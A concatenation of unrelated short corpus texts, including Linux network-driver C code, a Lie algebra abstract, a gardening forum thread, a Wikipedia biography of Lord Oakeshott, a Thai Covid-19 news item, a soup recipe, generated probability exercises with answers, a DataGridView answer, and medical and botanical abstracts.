rx_queue->removed_count = 0;
rx_queue->min_fill = -1U;
efx_init_rx_recycle_ring(efx, rx_queue);
rx_queue->page_remove = 0;
rx_queue->page_add = rx_queue->page_ptr_mask + 1;
rx_queue->page_recycle_count = 0;
rx_queue->page_recycle_failed = 0;
rx_queue->page_recycle_full = 0;
/* Initialise limit fields */
max_fill = efx->rxq_entries - EFX_RXD_HEAD_ROOM;
max_trigger =
max_fill - efx->rx_pages_per_batch * efx->rx_bufs_per_page;
if (rx_refill_threshold != 0) {
trigger = max_fill * min(rx_refill_threshold, 100U) / 100U;
if (trigger > max_trigger)
trigger = max_trigger;
} else {
trigger = max_trigger;
}
rx_queue->max_fill = max_fill;
rx_queue->fast_fill_trigger = trigger;
rx_queue->refill_enabled = true;
/* Set up RX descriptor ring */
efx_nic_init_rx(rx_queue);
}
void efx_fini_rx_queue(struct efx_rx_queue *rx_queue)
{
int i;
struct efx_nic *efx = rx_queue->efx;
struct efx_rx_buffer *rx_buf;
netif_dbg(rx_queue->efx, drv, rx_queue->efx->net_dev,
"shutting down RX queue %d\n", efx_rx_queue_index(rx_queue));
del_timer_sync(&rx_queue->slow_fill);
/* Release RX buffers from the current read ptr to the write ptr */
if (rx_queue->buffer) {
for (i = rx_queue->removed_count; i < rx_queue->added_count;
i++) {
unsigned index = i & rx_queue->ptr_mask;
rx_buf = efx_rx_buffer(rx_queue, index);
efx_fini_rx_buffer(rx_queue, rx_buf);
}
}
/* Unmap and release the pages in the recycle ring. Remove the ring. */
for (i = 0; i <= rx_queue->page_ptr_mask; i++) {
struct page *page = rx_queue->page_ring[i];
struct efx_rx_page_state *state;
if (page == NULL)
continue;
state = page_address(page);
dma_unmap_page(&efx->pci_dev->dev, state->dma_addr,
PAGE_SIZE << efx->rx_buffer_order,
DMA_FROM_DEVICE);
put_page(page);
}
kfree(rx_queue->page_ring);
rx_queue->page_ring = NULL;
}
void efx_remove_rx_queue(struct efx_rx_queue *rx_queue)
{
netif_dbg(rx_queue->efx, drv, rx_queue->efx->net_dev,
"destroying RX queue %d\n", efx_rx_queue_index(rx_queue));
efx_nic_remove_rx(rx_queue);
kfree(rx_queue->buffer);
rx_queue->buffer = NULL;
}
module_param(rx_refill_threshold, uint, 0444);
MODULE_PARM_DESC(rx_refill_threshold,
"RX descriptor ring refill threshold (%)");
#ifdef CONFIG_RFS_ACCEL
int efx_filter_rfs(struct net_device *net_dev, const struct sk_buff *skb,
u16 rxq_index, u32 flow_id)
{
struct efx_nic *efx = netdev_priv(net_dev);
struct efx_channel *channel;
struct efx_filter_spec spec;
struct flow_keys fk;
int rc;
if (flow_id == RPS_FLOW_ID_INVALID)
return -EINVAL;
if (!skb_flow_dissect_flow_keys(skb, &fk, 0))
return -EPROTONOSUPPORT;
if (fk.basic.n_proto != htons(ETH_P_IP) && fk.basic.n_proto != htons(ETH_P_IPV6))
return -EPROTONOSUPPORT;
if (fk.control.flags & FLOW_DIS_IS_FRAGMENT)
return -EPROTONOSUPPORT;
efx_filter_init_rx(&spec, EFX_FILTER_PRI_HINT,
efx->rx_scatter ? EFX_FILTER_FLAG_RX_SCATTER : 0,
rxq_index);
spec.match_flags =
EFX_FILTER_MATCH_ETHER_TYPE | EFX_FILTER_MATCH_IP_PROTO |
EFX_FILTER_MATCH_LOC_HOST | EFX_FILTER_MATCH_LOC_PORT |
EFX_FILTER_MATCH_REM_HOST | EFX_FILTER_MATCH_REM_PORT;
spec.ether_type = fk.basic.n_proto;
spec.ip_proto = fk.basic.ip_proto;
if (fk.basic.n_proto == htons(ETH_P_IP)) {
spec.rem_host[0] = fk.addrs.v4addrs.src;
spec.loc_host[0] = fk.addrs.v4addrs.dst;
} else {
memcpy(spec.rem_host, &fk.addrs.v6addrs.src, sizeof(struct in6_addr));
memcpy(spec.loc_host, &fk.addrs.v6addrs.dst, sizeof(struct in6_addr));
}
spec.rem_port = fk.ports.src;
spec.loc_port = fk.ports.dst;
rc = efx->type->filter_rfs_insert(efx, &spec);
if (rc < 0)
return rc;
/* Remember this so we can check whether to expire the filter later */
channel = efx_get_channel(efx, rxq_index);
channel->rps_flow_id[rc] = flow_id;
++channel->rfs_filters_added;
if (spec.ether_type == htons(ETH_P_IP))
netif_info(efx, rx_status, efx->net_dev,
"steering %s %pI4:%u:%pI4:%u to queue %u [flow %u filter %d]\n",
(spec.ip_proto == IPPROTO_TCP) ? "TCP" : "UDP",
spec.rem_host, ntohs(spec.rem_port), spec.loc_host,
ntohs(spec.loc_port), rxq_index, flow_id, rc);
else
netif_info(efx, rx_status, efx->net_dev,
"steering %s [%pI6]:%u:[%pI6]:%u to queue %u [flow %u filter %d]\n",
(spec.ip_proto == IPPROTO_TCP) ? "TCP" : "UDP",
spec.rem_host, ntohs(spec.rem_port), spec.loc_host,
ntohs(spec.loc_port), rxq_index, flow_id, rc);
return rc;
}
bool __efx_filter_rfs_expire(struct efx_nic *efx, unsigned int quota)
{
bool (*expire_one)(struct efx_nic *efx, u32 flow_id, unsigned int index);
unsigned int channel_idx, index, size;
u32 flow_id;
if (!spin_trylock_bh(&efx->filter_lock))
return false;
expire_one = efx->type->filter_rfs_expire_one;
channel_idx = efx->rps_expire_channel;
index = efx->rps_expire_index;
size = efx->type->max_rx_ip_filters;
while (quota--) {
struct efx_channel *channel = efx_get_channel(efx, channel_idx);
flow_id = channel->rps_flow_id[index];
if (flow_id != RPS_FLOW_ID_INVALID &&
expire_one(efx, flow_id, index)) {
netif_info(efx, rx_status, efx->net_dev,
"expired filter %d [queue %u flow %u]\n",
index, channel_idx, flow_id);
channel->rps_flow_id[index] = RPS_FLOW_ID_INVALID;
}
if (++index == size) {
if (++channel_idx == efx->n_channels)
channel_idx = 0;
index = 0;
}
}
efx->rps_expire_channel = channel_idx;
efx->rps_expire_index = index;
spin_unlock_bh(&efx->filter_lock);
return true;
}
#endif /* CONFIG_RFS_ACCEL */
/**
* efx_filter_is_mc_recipient - test whether spec is a multicast recipient
* @spec: Specification to test
*
* Return: %true if the specification is a non-drop RX filter that
* matches a local MAC address I/G bit value of 1 or matches a local
* IPv4 or IPv6 address value in the respective multicast address
* range. Otherwise %false.
*/
bool efx_filter_is_mc_recipient(const struct efx_filter_spec *spec)
{
if (!(spec->flags & EFX_FILTER_FLAG_RX) ||
spec->dmaq_id == EFX_FILTER_RX_DMAQ_ID_DROP)
return false;
if (spec->match_flags &
(EFX_FILTER_MATCH_LOC_MAC | EFX_FILTER_MATCH_LOC_MAC_IG) &&
is_multicast_ether_addr(spec->loc_mac))
return true;
if ((spec->match_flags &
(EFX_FILTER_MATCH_ETHER_TYPE | EFX_FILTER_MATCH_LOC_HOST)) ==
(EFX_FILTER_MATCH_ETHER_TYPE | EFX_FILTER_MATCH_LOC_HOST)) {
if (spec->ether_type == htons(ETH_P_IP) &&
ipv4_is_multicast(spec->loc_host[0]))
return true;
if (spec->ether_type == htons(ETH_P_IPV6) &&
((const u8 *)spec->loc_host)[0] == 0xff)
return true;
}
return false;
}
|
{
"pile_set_name": "Github"
}
|
Chun-Gil Park
Abstract: It is shown that every almost linear mapping $h\colon A\rightarrow B$ of a unital Lie JC$^*$-algebra $A$ to a unital Lie JC$^*$-algebra $B$ is a Lie JC$^*$-algebra homomorphism when $h(2^n u\circ y)=h(2^n u)\circ h(y)$, $h(3^n u\circ y)=h(3^n u)\circ h(y)$ or $h(q^n u\circ y)=h(q^n u)\circ h(y)$ for all $y\in A$, all unitary elements $u\in A$ and $n=0,1,2,\cdots$, and that every almost linear almost multiplicative mapping $h\colon A\rightarrow B$ is a Lie JC$^*$-algebra homomorphism when $h(2x)=2h(x)$, $h(3x)=3h(x)$ or $h(qx)qh(x)$ for all $x\in A$. Here the numbers $2,3,q$ depend on the functional equations given in the almost linear mappings or in the almost linear almost multiplicative mappings. Moreover, we prove the Cauchy–Rassias stability of Lie JC$^*$-algebra homomorphisms in Lie JC$^*$-algebras, and of Lie JC$^*$-algebra derivations in Lie JC$^*$-algebras. \endgraf
|
{
"pile_set_name": "Pile-CC"
}
|
Hello Guest!
Welcome to the official Square Foot Gardening Forum.
There's lots to learn here by reading as a guest. However, if you become a member (it's free, ad free and spam-free) you'll have access to our large vermiculite databases, our seed exchange spreadsheets, Mel's Mix calculator, and many more members' pictures in the Gallery. Enjoy.
I have to say I never thought I'd get into the gardening enough to do my own composting, but the materials have all but fallen into my lap, so I think I'm going to do it.
I rent a house with a huge oak tree, so I have tons and tons of dead leaves piled up doing nothing but rotting on their own (sorry, I don't rake and bag leaves - what a waste of time ). Then my father started homebrewing, and I discovered that spent grains from brewing can be used in composting, and apparently they're considered a "green" ingredient. So even though I was worried I wouldn't be able to get enough "green" ingredients since I'm single and cook only for myself, it looks like I shouldn't have an issue. So I'm off to the store today to get a composting bin.
I know, I know, I could make one. But I'd rather do as little as possible to upset the property since I don't own it!
If you find yourself with too big a pile to use yourself, some of your neighbors would probably love some, too. Heck, you could likely bucket some and sell it at a farmer's market if you were ambitious enough.
Argh - the landlord hired a contractor to do a little landscaping work in the yard yesterday, and the contractor came while I was at work. I came home to find that not only had he taken away all the leaf and bush trimmings, but he'd blown/taken away all, I repeat, all, of the dead leaves I'd piled up over the last two years.
@camprn wrote:That stinks, well maybe this guy is a new source of composting materials for you. I wonder where he took it all?
Alas, I don't know his name or his company's name, and when I saw the guy the day before he didn't seem overly friendly. Oh well, I might have enough in the bin at the moment to do a first batch. I can always wait until Fall for a new supply of dead leaves.
So sorry, Moswell, on the loss of all the leaves you have been saving for the last two years. That is a real setback. Please do not dwell on it too much, put it behind you as it is not the end of the world.
|
{
"pile_set_name": "Pile-CC"
}
|
Matthew Oakeshott, Baron Oakeshott of Seagrove Bay
Matthew Alan Oakeshott, Baron Oakeshott of Seagrove Bay (born 10 January 1947), is a British investment manager and member of the House of Lords, formerly sitting in Parliament as a Liberal Democrat.
Early life and education
Matthew Alan Oakeshott was born 10 January 1947 to Keith Robertson Oakeshott, CMG, and Eva (née Clutterbuck). Oakeshott was educated at Charterhouse before attending University College, Oxford and Nuffield College, Oxford, graduating with a MA.
Life and career
Oakeshott worked in the Ministry of Finance and Economic Planning of Kenya from 1968 to 1970. During 1970 to 1972, he undertook post-graduate studies at Nuffield College, Oxford, although he did not complete a graduate degree. He joined the Labour Party and served as a Councillor on Oxford City Council.
He stood twice, unsuccessfully, for election to the House of Commons of the United Kingdom. As a Labour parliamentary candidate he fought the Horsham and Crawley seat in 1974, and then as the SDP–Liberal Alliance candidate for the seat of Cambridge in 1983.
From 1972 to 1976, Oakeshott was a Parliamentary Assistant to Labour's Roy Jenkins in Opposition: a so-called "Chocolate Soldier" funded by the Joseph Rowntree Social Service Trust. When Jenkins became Home Secretary, Oakeshott worked as his Special Advisor. Jenkins charged him with keeping 'an eye on the Common Market 'negotiation' by forging a close relationship with George Thomson's cabinet in Brussels, but also to keep him in touch with Labour party feeling and help write speeches and newspaper articles.' He was an instrumental part of the team that wrote the Limehouse Declaration Owen described him as ' an EEC 'federalist'.
After this, Oakeshott became a Director of Warburg Investment Management, a post which he held until 1981, and then investment manager of the Courtaulds pension fund until 1985. He was a founder director of OLIM in 1986 and is now Chairman of OLIM Property Limited, which invests in commercial property throughout the UK for pension funds, investment trusts and charities. He is joint investment director of Value and Income Trust plc (VIN).
House of Lords (as Lord Oakeshott)
He was created a Life Peer as Baron Oakeshott of Seagrove Bay, of Seagrove in the county of Isle of Wight on 1 May 2000, serving as Liberal Democrat Treasury Spokesman in the House of Lords from 2001 to 2011 and as Pensions Spokesman from 2002 to 2010. He has been a leading enthusiast for reform of the House of Lords.
From the formation of the Coalition Government in May 2010 until his resignation from the Lib Dems in May 2014, Lord Oakeshott was highly critical of the Coalition's policies. He stood down as HM Government Treasury Spokesman by "mutual agreement" in February 2011, after his description of the Coalition's Project Merlin deal with the banks over lending and bonuses as being "pitiful". He was then critical of its economic policy, where he has particularly opposed the cut in the top rate of tax to 45p and the "austerity measures". He opposed key Coalition legislation such as the Health and Social Care Act and elected Police Commissioners. He called for Conservative Cabinet Minister Jeremy Hunt to resign over his handling of BSkyB, and in July 2012 referred to Conservative Chancellor of the Exchequer George Osborne as a "work-experience Chancellor" suggesting that he should resign and be replaced by Vince Cable. He supported Francois Hollande to become President of France, despite many in the Coalition backing Sarkozy.
In 2012 he was already concerned about the future of the Lib Dems being highly critical of Nick Clegg's leadership. During the latter part of 2013, Oakeshott began to call for Nick Clegg to resign as Leader of the Liberal Democrats, even suggesting that the Coalition may have to break apart. In April 2014 he privately commissioned ICM Research to undertake a telephone poll in each of four key Lib Dem seats: Clegg's own Sheffield Hallam; Cambridge; Redcar; and Wells. The results indicated that the Lib Dems would pick up votes if another figure replaced Clegg as party leader, and also suggested that the party was on course to lose the four seats in the 2015 UK general election unless there was a change of Lib Dem leader. After the poll results were leaked via The Guardian newspaper on 27 May 2014, and Clegg on 28 May accused him of seeking to "undermine" the Lib Dems and warned he faced disciplinary action, Oakeshott subsequently resigned from the party and took a "leave of absence" from the House of Lords.
In an attempt to "help save our country from a Tory government cringing to Ukip" in January 2015 he donated £300,000 in total to 15 Labour candidates in the 2015 General Election, £300,000 to 15 Liberal Democrats and £10,000 to the Green Party's sole MP, Caroline Lucas. In February 2015, Oakeshott was pictured wearing a red rossette and canvassing for Labour in Thurrock.
Family
In 1976, he married Philippa Poulton, a medical doctor. They have two sons, Joseph and Luke, and one daughter, Rachel. He is related to journalist Isabel Oakeshott.
Works
Chapter in By-Elections in British Politics (1973)
References
External links
Category:1947 births
Category:Living people
Category:Alumni of Nuffield College, Oxford
Category:Alumni of University College, Oxford
Category:Crossbench life peers
Category:Labour Party (UK) parliamentary candidates
Category:Liberal Democrats (UK) life peers
Category:People educated at Charterhouse School
Category:Social Democratic Party (UK) politicians
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{
"pile_set_name": "Wikipedia (en)"
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|
Experts suggest that restrictions can be eased in some areas, provided it is not done all at once and everywhere.
Owing to the drop in new confirmed Covid-19 cases, an informed source said that after Prime Minister Prayut Chan-o-cha chaired a meeting with the government’s Centre for Covid-19 Situation Administration (CCSA) on Monday (April 13), the authorities signalled a chance of easing restrictions on businesses that have been forced to close. There were only 28 new cases on that day.
The governor of Nonthaburi province made the first move in easing restrictions, but reversed his position soon after he was hit by criticism.
Also, on Tuesday, the number of cases rose to 34 and CCSA spokesman Taweesin Visanuyothin warned that the country should not let its guard down. He said the early easing of restrictions could lead to a spike in cases, citing Singapore and Japan, where infections rose sharply after being flat for a while.
A report on national security suggests that restrictions should be lifted very gradually, adding that only some provinces or some areas should reopen first. For instance, provincial governors may consider reopening hairdressing and beauty salons first provided the number of customers is kept limited and hand gel or steriliser is made available. Clients will also be required to wear face masks.
Dr Amorn Leelarasamee, president of the Medical Association of Thailand, said he agrees that some restrictions should be lifted to support businesses, but it should be done slowly, carefully and hand in hand with seven-day assessments of new cases. For instance, if new cases are in single digits, then shops or businesses can be reopened provided no more than 10 people are served at a time.
He also said that social distancing should continue being practised. Large department stores may have fewer risks, compared to small air-conditioned shops, the doctor said. Also, entertainment venues that are usually packed with customers, such as pubs and restaurants, should be the last to be reopened, he suggested.
Amorn also said the number of customers allowed to enter shops should be increased gradually, such as 10 initially, then 50 and then 100 based on the rate of new cases. He also warned that there is a high chance of a spike in new cases once the flight ban ends on April 18. Therefore, it is necessary that all foreign or Thai arrivals be put under quarantine for 14 days.
In the future, foreign tourists wanting to visit Thailand will have to apply a month ahead and must agree to a 14-day quarantine upon entering the country. He said this move may help the private sector arrange quarantine sites for visitors.
Meanwhile, Dr Chaiwat Techapaitoon, leader of a group supporting medical doctors fighting Covid-19, voiced concerns about the country running out of Favipiravir – the drug that is being used to treat the virus. Doctors are using this drug to treat critical patients or those whose lungs have been invaded by the virus.
He said if this drug was more well supplied, doctors can prescribe it to patients with mild symptoms, so fewer people end up in intensive care. However, he said, many countries are competing to buy this drug, which is leading to an increase in price and short supply.
He said the government should consider importing chemicals to produce the drug locally.
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Home to delectable street tacos and In-&-Out burgers (to me at least), the city of Angels was definitely a place I had to visit. Having seen key landmarks peppered in movies I enjoyed while growing up (Terminator 2, 500 Days of Summer and
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"pile_set_name": "Pile-CC"
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Pack your meals in your favourite lunchpail and it makes healthy eating that much more fun!
Okay okay, so Daily Apple partied a little too much over the holidays. But who doesn’t? And why wouldn’t you? That’s what holidays are for–a break from the everyday, a little more spice in your life…a little extra cheese on your dessert table! But now..it’s payback time. I’m not going to complain about it, or write-up a big plan with resolutions and promises. I’m simply just going to tell you what I’m having to eat this week. Soup. All kinds of soup. And lots of it. It’s filling, it’s hearty, it warms the soul on a bleak January day. And it’s low cal. So, here’s the recipe for my husband’s favourite. Some protein for him, some starch for me, tons of veggies and oodles of flavour. And if you’re still REALLY jonesing for that cheese plate, add a dash of fresh parm. I promise I won’t judge. Enjoy.
Greens & beans winter soup
What’s in it
1 yellow onion, chopped
3 cloves garlic, minced
1 head of organic chard, chopped
1 head of organic collards, chopped
1 head of organic kale, de-spined and chopped
4 carrots, chopped
4 stalk celery, chopped
3 sweet potatoes, chopped
1 large yellow-fleshed potato, chopped
4 cups of organic navy beans
Veggie stock – lots of it
Olive oil
Salt, pepper and hot sauce to taste
How to make it
Heat up a good glug of olive oil in a deep stock pot and add onions and garlic. Saute until fragrant. Add potatoes and carrots. Mix and saute for another 2-3 minutes. Season with salt and pepper. Add celery and beans and mix for an additional 3-4 minutes. Season accordingly. Once heated through, add enough stock to completely cover veggies and bring to boil. Simmer for 20 minutes, or until vegetables are soft. Add chopped greens and more stock if necessary. Simmer for an additional 5-10 minutes and the soup is ready to serve! Top with hot sauce and fresh parm if you aren’t going dairy free for a while!
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{
"pile_set_name": "Pile-CC"
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Check out our new site Makeup Addiction
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Steve jobs died from pancreatic cancer. Pancreatic Cancer = P.C. pc killed the mac guy
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{
"pile_set_name": "OpenWebText2"
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at is prob of sequence iiii when four letters picked without replacement from iiiiii?
1
Four letters picked without replacement from cccctcctcc. Give prob of sequence tctc.
1/45
What is prob of sequence ii when two letters picked without replacement from idbbi?
1/10
What is prob of sequence cce when three letters picked without replacement from {c: 15, e: 5}?
35/228
What is prob of sequence yay when three letters picked without replacement from way?
0
What is prob of sequence yyj when three letters picked without replacement from {y: 3, j: 2, v: 4}?
1/42
Calculate prob of sequence tf when two letters picked without replacement from ftqoqtotttqtffftfq.
35/306
Two letters picked without replacement from tgegeegemhm. Give prob of sequence hg.
3/110
What is prob of sequence zzoo when four letters picked without replacement from ooooozozoozoozoozoz?
65/1292
Calculate prob of sequence wzw when three letters picked without replacement from rrghzhrrrwzrrgrzhrwr.
1/1140
Calculate prob of sequence pd when two letters picked without replacement from dpjpjjpdjpqpdp.
9/91
What is prob of sequence uizz when four letters picked without replacement from pmuuzuuzpi?
1/630
Four letters picked without replacement from mmcuecqmqmce. Give prob of sequence cqcu.
1/990
Two letters picked without replacement from {v: 2, p: 1, i: 4}. Give prob of sequence ip.
2/21
What is prob of sequence all when three letters picked without replacement from {l: 11, a: 2}?
5/39
Calculate prob of sequence mias when four letters picked without replacement from ssslsima.
1/420
What is prob of sequence dddd when four letters picked without replacement from dddd?
1
Two letters picked without replacement from {p: 3, r: 1, f: 1, q: 1, s: 6}. What is prob of sequence fs?
1/22
Three letters picked without replacement from {r: 2, l: 2}. Give prob of sequence rlr.
1/6
What is prob of sequence hclh when four letters picked without replacement from {f: 1, v: 3, l: 1, c: 4, h: 5, t: 4}?
1/918
What is prob of sequence ewwe when four letters picked without replacement from wweweeweewewwwwwww?
11/204
What is prob of sequence mppe when four letters picked without replacement from hphmeopo?
1/840
Two letters picked without replacement from {s: 2, g: 1, r: 2, u: 1, q: 1}. What is prob of sequence rs?
2/21
What is prob of sequence xa when two letters picked without replacement from {t: 13, x: 1, a: 1}?
1/210
Two letters picked without replacement from {s: 2, v: 9}. Give prob of sequence vv.
36/55
Three letters picked without replacement from {p: 1, o: 1, s: 5, m: 3, j: 1, w: 1}. Give prob of sequence mws.
1/88
Calculate prob of sequence ja when two letters picked without replacement from tjttxttatjxtajjaaj.
10/153
Calculate prob of sequence qqp when three letters picked without replacement from {v: 3, f: 3, q: 5, a: 1, h: 4, p: 4}.
2/171
What is prob of sequence hdhd when four letters picked without replacement from hhhhhddhhhhdhh?
5/182
Four letters picked without replacement from {h: 5, e: 7, a: 8}. What is prob of sequence ehah?
28/2907
What is prob of sequence baba when four letters picked without replacement from {b: 5, a: 13}?
13/306
Three letters picked without replacement from {f: 3, t: 3, i: 1, c: 5, u: 5, n: 1}. What is prob of sequence nct?
5/1632
Calculate prob of sequence yqbb when four letters picked without replacement from {b: 1, y: 2, q: 1}.
0
Calculate prob of sequence sbs when three letters picked without replacement from sbyrfrs.
1/105
What is prob of sequence vfvv when four letters picked without replacement from sfvvvvs?
1/35
Calculate prob of sequence npn when three letters picked without replacement from ppnnnnnnpp.
1/6
Two letters picked without replacement from tqocoeke. What is prob of sequence kq?
1/56
Two letters picked without replacement from {t: 6, c: 2, q: 1, w: 3, k: 7}. Give prob of sequence cq.
1/171
Three letters picked without replacement from cbuuvcivvbucvvbqu. What is prob of sequence viq?
1/816
What is prob of sequence ggxg when four letters picked without replacement from xrgrgrrrrrxgrrr?
1/2730
What is prob of sequence xxfs when four letters picked without replacement from {s: 1, f: 5, x: 5}?
5/396
Four letters picked without replacement from wetwvav. What is prob of sequence vwev?
1/210
Two letters picked without replacement from tkkbejejbeqe. Give prob of sequence kk.
1/66
Four letters picked without replacement from ykwwomywwkowkqk. What is prob of sequence qomy?
1/8190
Two letters picked without replacement from {i: 1, b: 2, c: 1}. Give prob of sequence bc.
1/6
What is prob of sequence ju when two letters picked without replacement from qzujjbjjb?
1/18
Calculate prob of sequence pyt when three letters picked without replacement from {p: 2, y: 2, t: 1}.
1/15
Three letters picked without replacement from kmtdkyyf. What is prob of sequence mtd?
1/336
Three letters picked without replacement from ablllblap. What is prob of sequence bap?
1/126
Three letters picked without replacement from {c: 7, j: 1, m: 4, x: 1, o: 2, y: 3}. Give prob of sequence myo.
1/204
Four letters picked without replacement from aiaooabobobuaoau. Give prob of sequence aaia.
1/728
Three letters picked without replacement from {x: 2, w: 3, k: 1, v: 4, b: 1}. What is prob of sequence wwx?
2/165
Three letters picked without replacement from {q: 14, p: 5}. Give prob of sequence qqq.
364/969
Four letters picked without replacement from {g: 6, a: 2, h: 3, q: 2, l: 3}. What is prob of sequence lqhq?
3/7280
Calculate prob of sequence aqqa when four letters picked without replacement from qqqaqqaa.
1/14
Four letters picked without replacement from {j: 5, o: 2, g: 1, f: 1}. Give prob of sequence ofog.
1/1512
Calculate prob of sequence vcc when three letters picked without replacement from nccvnccv.
1/14
Calculate prob of sequence tf when two letters picked without replacement from tsbqfso.
1/42
What is prob of sequence uhfu when four letters picked without replacement from {u: 2, h: 1, f: 11}?
1/1092
Calculate prob of sequence uwk when three letters picked without replacement from {c: 1, k: 1, f: 1, v: 1, w: 1, u: 2}.
1/105
Three letters picked without replacement from nqzqnznzzqzzzznz. What is prob of sequence qnq?
1/140
Four letters picked without replacement from frrbfbbbf. Give prob of sequence bbrr.
1/126
Calculate prob of sequence cccc when four letters picked without replacement from {p: 7, c: 7}.
5/143
Two letters picked without replacement from nnlnnnlnnllnlgnnn. Give prob of sequence ln.
55/272
Calculate prob of sequence wwtw when four letters picked without replacement from twtwtttttt.
0
Calculate prob of sequence ny when two letters picked without replacement from {n: 1, y: 1, f: 2, a: 2, j: 2}.
1/56
What is prob of sequence xvx when three letters picked without replacement from yggxxgxvgvgxxxggggv?
5/323
Four letters picked without replacement from {a: 1, c: 2, v: 2, h: 1, q: 1}. Give prob of sequence hcca.
1/420
Calculate prob of sequence we when two letters picked without replacement from awwtaetwwtwtwdww.
1/30
Calculate prob of sequence vll when three letters picked without replacement from {v: 2, l: 8}.
7/45
Two letters picked without replacement from dddeded. What is prob of sequence dd?
10/21
Two letters picked without replacement from uuuzuqqxuubuuuuxuu. What is prob of sequence qq?
1/153
Calculate prob of sequence cy when two letters picked without replacement from yvcyccccfy.
1/6
Two letters picked without replacement from {e: 4, i: 6}. Give prob of sequence ii.
1/3
Four letters picked without replacement from {p: 5, e: 1, g: 8, k: 2}. Give prob of sequence epkk.
1/4368
What is prob of sequence uuuj when four letters picked without replacement from jtuttttjjututjuj?
1/364
What is prob of sequence ccc when three letters picked without replacement from ucecueeuece?
1/165
Two letters picked without replacement from {w: 1, m: 4, d: 1, v: 1, y: 1}. Give prob of sequence my.
1/14
What is prob of sequence de when two letters picked without replacement from yeeydeyydeeeee?
8/91
Calculate prob of sequence znnz when four letters picked without replacement from nznnz.
1/10
Two letters picked without replacement from xjppejeav. What is prob of sequence jp?
1/18
What is prob of sequence
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{
"pile_set_name": "DM Mathematics"
}
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I like this take on moondancer she came out really cute. I'm not sure why ponies with ponytails are so damn cute but they are.
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{
"pile_set_name": "OpenWebText2"
}
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Q:
DateTime Display in Windows Form application
I have a windows form application. I have a query which return me datetime in the format dd-MM-yyyy.
But when this datetime is displayed in a datagrid it is displayed as dd/MM/yyyy.
I wish to display dd-MM-yyyy in my datagrid. How can this be achieved.
A:
You set this in the column's DefaultCellStyle.Format:
this.dataGridView1.Columns["Date"].DefaultCellStyle.Format = "dd-MM-yyyy";
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{
"pile_set_name": "StackExchange"
}
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Microvascular and endothelial function for risk prediction in dengue: an observational study.
Dengue infection can result in a wide spectrum of disease. The defining feature of severe disease is increased capillary permeability, which can lead to hypovolaemic shock. Microvascular and endothelial dysfunction might underlie hypovolaemic shock, but they have not been assessed clinically. We aimed to investigate the use of microvascular assessment as a prognostic method in dengue. This is an ongoing prospective observational study that aims to recruit 300 participants: children over the age of 3 years and adults presenting to two outpatient departments in Vietnam with fever of less than 72 h duration and suspected dengue, and patients admitted to hospital with warning signs or severe disease. Participants are being clinically assessed daily for 6 days, and 2 weeks later. Microvascular imaging using sublingual sidestream darkfield imaging (SDF) and endothelial function testing using peripheral artery tonometry are being performed at enrolment, defervescence, and follow-up To date, 167 patients have been recruited (92 outpatient arm, 75 inpatient arm, median age 27 years [IQR 21-33], 78 male [47%]). Dengue has been confirmed in 67 individuals in the outpatient arm, of whom 29 (43%) developed warning signs, three (4%) developed severe disease, and 35 had uncomplicated dengue; the other 25 outpatients (27%) were diagnosed as other febrile illness. At enrolment, the reactive hyperaemic index, a marker of endothelial function, was lowest in the patients who went on to develop severe dengue (median 1·54, IQR 1·36-1·77) followed by those who developed warning signs (1·78, 1·43-2·36) and then uncomplicated dengue (2·18, 1·65-2·24). Initial SDF results showed a lower proportion of perfused vessels and mean flow index during the febrile phase of dengue compared with follow-up, and were worst in the severe group at defervescence. This study of vascular function at serial timepoints in dengue is, to our knowledge, the first and most comprehensive. Our preliminary results suggest that microvascular and endothelial dysfunction are associated with severity of dengue, and occur before the appearance of severe clinical manifestations. These techniques might be useful in risk prediction in dengue. A limitation is that a formal sample size could not be calculated because no previous microvascular data in dengue exist. Wellcome Trust.
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{
"pile_set_name": "PubMed Abstracts"
}
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Khiali Shahpur
Khiali Shahpur is a town in Gujranwala in Punjab, Pakistan.
History
Khiali and Shahpur were originally two separate villages about two miles away from Gujranwala district courts. Both towns were about one acre away from the single lane Sheikhupura road.
Khiali was a very old village. The Sansi clan is Hindu by origin and according to historians were the people living in ancient Gujranwala. There were few Sansi villages, which are all now part of greater Gujranwala. As the majority of the Sansis fled to India, a number of families from India migrated here. Another famous and old rooted family of khiali is the Quraishi Hashmi family. This family is widely known for religious and educational background.A number of mosques, schools and welfare hospitals are patronised by the Hashmi Quraishi family of khiali.
Environmental conditions
It is mostly an industrial area, thus forced to pollute the environment and as it is comparatively more developed, the people take less precautionary measures to prevent most of the pollution. This leads to Land Constraint.
Location
The town is located between a bus stand connecting with the Grand Trunk Road and the Khiali Bypass. West of the Khiali Bypass is a road which leads to the Grand Trunk Road and also to Wapda Town, Gujranwala.
References
Category:Populated places in Gujranwala District
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{
"pile_set_name": "Wikipedia (en)"
}
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Introduction {#sec1-1}
============
*Alpinia calcarata* Roscoe (Heenaratta) and *A. galanga* (Linn.) Willd (Aratta) are two important medicinal plants belonging to family Zingiberaceae and are used in Ayurveda and Sri Lankan Traditional Medicine since ages. Matured, dried rhizomes are used in medicine and in many herbal drug stores it is available in powder form too. Among the two plants, *A. calcarata* is more valued since it is one of the ingredients of "*Buddarajakalka*" which is used in the treatment of chronic respiratory tract infections even among children. Therefore, proper identification is necessary before using in medicinal preparations to obtain correct therapeutic effect as per the classical texts. Morphological features do not give clear idea about the identity when they are in powder form. In such conditions, microscopical examinations would be the only choice. Therefore, present work was undertaken to highlight various microscopical characters by which the two plant materials can be identified microscopically when the materials are in powder form.\[[@ref1][@ref2]\]
Materials and Methods {#sec1-2}
=====================
Plant material {#sec2-1}
--------------
*A. calcarata* Roscoe and *A. galanga* (Linn.) Willd mature rhizome samples were collected in the month of May 2011 from local gardens at Panadura, Pannipitiya and Industrial Technology Institute (ITI) premises when they were in flowering condition. Confirmation was further done with the help of floras and other reputed literature.\[[@ref1][@ref3]\] Voucher specimens (HTS/Phcog/197695 and 197696) were deposited at Pharmacognosy laboratory of Herbal Technology Section at ITI. Collected two rhizome samples were cleaned well and cut into one inch pieces. One part stored separately in Formalin-Aceto-Alcohol solution for microscopical detection. Other part is dried under shade for few days and then powdered separately and passed through 40 mesh size and stored in two airtight containers separately for powder microscopical detection.\[[@ref4]\]
Microscopic study of powdered plant material {#sec2-2}
--------------------------------------------
Pinch of *A. calcarata* Roscoe rhizome powder was placed on the grease-free microscopic slide along with the drop of glycerin and water (1:1) and then it was covered with a clean cover slip, observed under the compound microscope at 10X followed by 40X magnification. Same observation was done for all the samples collected from three different places separately and important identifying characters were drawn with the help of camera lucida.\[[@ref5]\] Same procedure was done for *A. galanga* (Linn.) Willd rhizome powder as well.\[[@ref4]\]
